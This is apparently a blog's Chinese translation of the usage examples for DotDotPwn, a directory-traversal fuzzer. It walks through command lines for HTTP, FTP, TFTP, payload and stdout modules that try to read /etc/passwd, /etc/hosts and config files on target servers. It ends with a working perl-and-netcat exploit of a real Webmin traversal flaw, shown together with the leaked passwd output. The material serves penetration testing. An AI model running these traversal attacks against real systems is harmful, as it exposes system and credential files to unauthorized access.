[译]dotdotpwn使用

原文地址:https://github.com/wireghoul/dotdotpwn/blob/master/EXAMPLES.txt

= HTTP Module

./dotdotpwn.pl -m http -h 192.168.1.1 -x 8080 -f /etc/hosts -k "localhost" -d 8 -t 200 -s

遍历引擎将会用8层深度来创建fuzz模式字符串,然后dotdotpwn会每个5秒(-t)来发送一个请求到一个监听在8080(-x)端口的web服务器(-m),该服务器的IP是192.168.1.1(-h)。除此以外,它将会尝试获得/etc/hosts文件来避免过滤,通过查找服务器响应中的localhost关键字(-k)来进行额外的检查,如果找到,那么认为含有漏洞。同时,获取web服务器的旗标(-s)。dotdotpwn会把结果保存在报告文件夹中的192.168.1.1_<date>_<hour>文件里。

./dotdotpwn.pl -m http -h 192.168.1.1 -O -X -M POST -e .php -E

DotDotPwn会尝试发现操作系统(-O),一旦发现,遍历引擎将会根据操作系统来创建fuzz模式。然后所有的http请求将会调整到指定的方法(-M POST)。在每个fuzz请求的结尾,将会追加.php后缀(-e)。-E告诉DotDotPwn寻找定义在TraversaEngine.pm文件中的@Extra_files(默认为config.inc.php和web.config)最后我们开启Bisection算法(-X)来发现额外的深度漏洞,所以如果发现一个漏洞,这个算法将尝试使用最小的深度来发现漏洞。
dotdotpwn会把结果保存在报告文件夹中的192.168.1.1_<date>_<hour>文件里。

= HTTP URL Module
真实案例 http://www.securityfocus.com/bid/18744

./dotdotpwn.pl -m http-url -u http://192.168.1.1:10000/unauthenticated/TRAVERSAL -O -k "root:" -r webmin.txt


DotDotPwn将会尝试发现运行在192.168.1.1的操作系统(-O),一旦发现,遍历引擎将会根据发现的操作系统来创建fuzz模式。然后引擎将会用创建的遍历模式替换url(-u)中的TRAVERSAL,然后向服务器的10000端口发送请求。最后为了避免过滤,检查服务器响应的额外关键字"root:",如果发现则存在漏洞。如果获取的文件是/etc/passwd,那么可以基本确定"root:"关键字肯定在文件的开头。
dotdotpwn会把结果保存在报告文件夹中的192.168.1.1_<date>_<hour>文件里。

= FTP Module

./dotdotpwn.pl -m ftp -h 192.168.1.1 -s -U nitr0us -P n1tr0u5pwnzj00 -o windows -q -r ftp_server.txt

首先DotDotPwn将会尝试获取ftp服务器(-m)的旗标(-s),然后将会如果服务器不支持匿名登录,那么尝试使用指定的username(-U)和password(-P)来登录服务器。
一旦通过认证,它将会获取Windows系统(-o)中常见文件,并保存在retrieved_files指定的位置。同样,DotDotPwn不会输出每次尝试的详细细节,相反
它只会输出每个发现的遍历模式。
DotDotPwn会把结果保存在报告文件夹中的ftp_server.txt(-r)文件中

= TFTP Module

./dotdotpwn.pl -m tftp -h 192.168.1.1 -b -t 1 -f windows/system32/drivers/etc/hosts

DotDotPwn会每隔一毫秒发送遍历模式到192.168.1.1(-h)的TFTP服务器(-m),也就是说尽可能的快速。然后当它发现一个漏洞时立即停止fuzz测试(-b)。
fuzz测试将会针对windows/system32/drivers/etc/hosts(-f)这个文件。
dotdotpwn会把结果保存在报告文件夹中的192.168.1.1_<date>_<hour>文件里。

= PAYLOAD Module

真实案例 http://www.securityfocus.com/bid/18744
./dotdotpwn.pl -m payload -h 192.168.1.1 -x 10000 -p payload_sample_1.txt -k "root:" -f /etc/passwd


引用
payload_sample_1.txt (also included in this folder):
GET /unauthenticated/TRAVERSAL HTTP/1.0



遍历引擎将会用遍历模式替换payload文件(-p)中的TRAVERSAL,然后发送fuzzpayload到tcp监听10000端口(-x)的服务器(本例中我们假设它是Webmin)。
它的ip是192.168.1.1(-h)。最后DotDotPwn将会查找服务器响应中的"root:"关键字(-k),如果出现,则认为有漏洞。
如果要获得的文件是/etc/passwd (-f),那么基本可以肯定"root:"关键字会出现在文件的开头。
dotdotpwn会把结果保存在报告文件夹中的192.168.1.1_<date>_<hour>文件里。

= STDOUT Module

./dotdotpwn.pl -m stdout -d 5

遍历引擎将会创建深度为8的fuzz模式,DotDotPwn将会把结果输出到STDOUT中,所以你可以随意使用,把遍历模式作为参数传递给其他程序,管道,socket等。
所以,你可以模块测试一切。包括客户端软件,文件格式fuzz,等等等等。

例如在你的脚步中使用STDOUT模块
-把fuzz模式作为参数传递给/bin/file和lynx
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 4 -f /etc/passwd); do file $fuzz_pattern; done
../etc/passwd: cannot open `../etc/passwd' (No such file or directory)
../../etc/passwd: cannot open `../../etc/passwd' (No such file or directory)
../../../etc/passwd: ASCII text
../../../../etc/passwd: ASCII text
..\etc\passwd: cannot open `..\etc\passwd' (No such file or directory)
..\..\etc\passwd: cannot open `..\..\etc\passwd' (No such file or directory)
..\..\..\etc\passwd: cannot open `..\..\..\etc\passwd' (No such file or directory)
... and so on..

nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 2 -f /etc/foobar | head -12); do lynx $fuzz_pattern; done
Can't Access `file://localhost/home/nitr0us/etc/foobar'
Alert!: Unable to access document.

Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\etc\foobar'
Alert!: Unable to access document.

Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\..\etc\foobar'
Alert!: Unable to access document.

Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2fetc%2ffoobar'
Alert!: Unable to access document.

Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2f..%2fetc%2ffoobar'
Alert!: Unable to access document.

Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%5cetc%5cfoobar'
Alert!: Unable to access document.

一个使用模块的真实例子
http://www.securityfocus.com/bid/18744
首先把每个fuzz模式传递给perl来创建请求,然后通过管道,由netcat接收作为STDIN然后发送给192.168.1.1的10000端口。这样可以看到Webmin的响应(HTML代码)
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done


然后过滤"root:"关键字,将会发现是否存在文件夹遍历漏洞
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done | grep "root:"

root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ VULNERABLE !!!!!!!!!!!!!!!!!!!!!!!!!

猜你喜欢

转载自j4s0nh4ck.iteye.com/blog/2152789